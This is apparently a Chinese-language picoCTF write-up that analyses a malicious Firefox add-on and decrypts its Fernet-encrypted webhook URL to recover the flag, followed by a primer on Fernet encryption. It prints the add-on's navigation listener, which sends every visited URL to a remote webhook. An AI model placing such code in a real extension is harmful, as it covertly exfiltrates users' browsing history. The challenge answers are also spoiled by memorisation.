解壓縮題目給的.xpi檔

解題
查看每一個檔案,在background/main.js中發現可疑的程式碼
// Secret key must be 32 url-safe base64-encoded bytes!
// TODO I must find a solution to remove the key from here, for now I'll leave it there because I need it to encrypt the webhook
function logOnCompleted(details) {
console.log(`Information to exfiltrate: ${details.url}`);
const key="cGljb0NURnt5b3UncmUgb24gdGhlIHJpZ2h0IHRyYX0="
const webhookUrl='gAAAAABmfRjwFKUB-X3GBBqaN1tZYcPg5oLJVJ5XQHFogEgcRSxSis1e4qwicAKohmjqaD-QG8DIN5ie3uijCVAe3xiYmoEHlxATWUP3DC97R00Cgkw4f3HZKsP5xHewOqVPH8ap9FbE'
const payload = {
content: `${details.url}`
};
fetch(webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(payload)
})
.then(response => {
if (response.status != 204) {
throw `Unable to complete the extraction!`;
}
return response;
});
}
browser.webNavigation.onCompleted.addListener(logOnCompleted);
其中const key="cGljb0NURnt5b3UncmUgb24gdGhlIHJpZ2h0IHRyYX0="明顯是base64加密,我們把它進行解密
取得了一個假的flag
picoCTF{you're on the right tra}
接著我們發現題目中有一個看起來有點矛盾的話Secret key must be 32 url-safe base64-encoded bytes!,我們拿取查google發現這是一個python Fernet加密錯誤的訊息
我們利用python腳本解密webhookUrl
from cryptography.fernet import Fernet
key = 'cGljb0NURnt5b3UncmUgb24gdGhlIHJpZ2h0IHRyYX0='
cipher = Fernet(key)
encrypted_token = 'gAAAAABmfRjwFKUB-X3GBBqaN1tZYcPg5oLJVJ5XQHFogEgcRSxSis1e4qwicAKohmjqaD-QG8DIN5ie3uijCVAe3xiYmoEHlxATWUP3DC97R00Cgkw4f3HZKsP5xHewOqVPH8ap9FbE'
decrypted_message = cipher.decrypt(encrypted_token).decode()
print("明文:", decrypted_message)
取得真正的flag
明文: picoCTF{Us3_4dd/0ns_v3ry_c4r3fully1}
flag

補充
Fernet加密是一種對稱式加密方法,它能確保訊息在沒有金鑰的情況下無法被讀取或竄改。最常應用於 Python Web 開發 與 自動化維運(DevOps) 中,專門用來保護需要「快速加解密」且「體積小」的敏感資料。
核心特點
- AES加密:使用 128 位元金鑰進行 AES(CBC 模式)加密。
- 資料完整性:使用 SHA-256 演算法進行 HMAC 簽名驗證,防止資料被偷偷修改。
- 內建時間戳記:每次加密會記錄時間,可以用來限制密文的有效期限。
- 安全性高:金鑰必須保密,常應用於 Python 的 cryptography 套件中。
常見應用場景
- Web 的 Session 儲存:加密瀏覽器的 Cookie 或 Session 資訊,防止使用者修改登入狀態。
- API 憑證保護:安全地在資料庫或設定檔中儲存第三方 API Key、密碼或 Token。
- 密碼管理器:個人或輕量級密碼管理工具,用主密碼衍生出金鑰來加密所有日常密碼。
- 多伺服器通訊:在分散式系統中,多台伺服器共享同一個金鑰,用來傳遞安全的內部指令。
- 時效性憑證:利用內建的時間戳記,製作有有效期限的重設密碼連結或暫時性存取權杖。


說些什麼吧!